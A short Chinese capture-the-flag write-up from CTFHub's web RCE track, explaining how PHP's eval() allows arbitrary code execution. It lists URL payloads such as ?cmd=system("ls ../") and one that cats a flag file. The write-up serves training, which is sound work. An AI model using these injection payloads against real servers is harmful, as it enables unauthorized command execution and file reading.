CTFHUB-技能树-Web题-RCE(远程代码执行)
文章目录
- CTFHUB-技能树-Web题-RCE(远程代码执行)
- eval执行
- 解题方法:
- 构造网址,查找当前目录文件
- 并没有发现flag,接着查看上一级目录
- 接着查看上一级
- 接着查看上一级目录,
eval执行
题目给出代码
先来看看eval函数是干什么用的
eval():把字符串 code 作为PHP代码执行。函数eval()语言结构是 非常危险的, 因为它允许执行任意 PHP 代码。 它这样用是很危险的。 如果您仔细的确认过,除了使用此结构以外 别无方法, 请多加注意,不要允许传入任何由用户 提供的、未经完整验证过的数据 。
解题方法:
结合该题出现在RCE板块,果断试一试在url里面get一下
构造网址,查找当前目录文件
?cmd=system("ls");切记输入;
并没有发现flag,接着查看上一级目录
?cmd=system("ls ../");
没有发现flag,耐心点
接着查看上一级
?cmd=system("ls ../../");
接着查看上一级目录,
?cmd=system("ls ../../../");
我们发现了flag_31425的存在。
此时就用?cmd=system(“cat /flag_31425”);打开目录下的flag。
system()函数:执行系统命令并输出执行结果。
?cmd=system("ls /");查看根目录,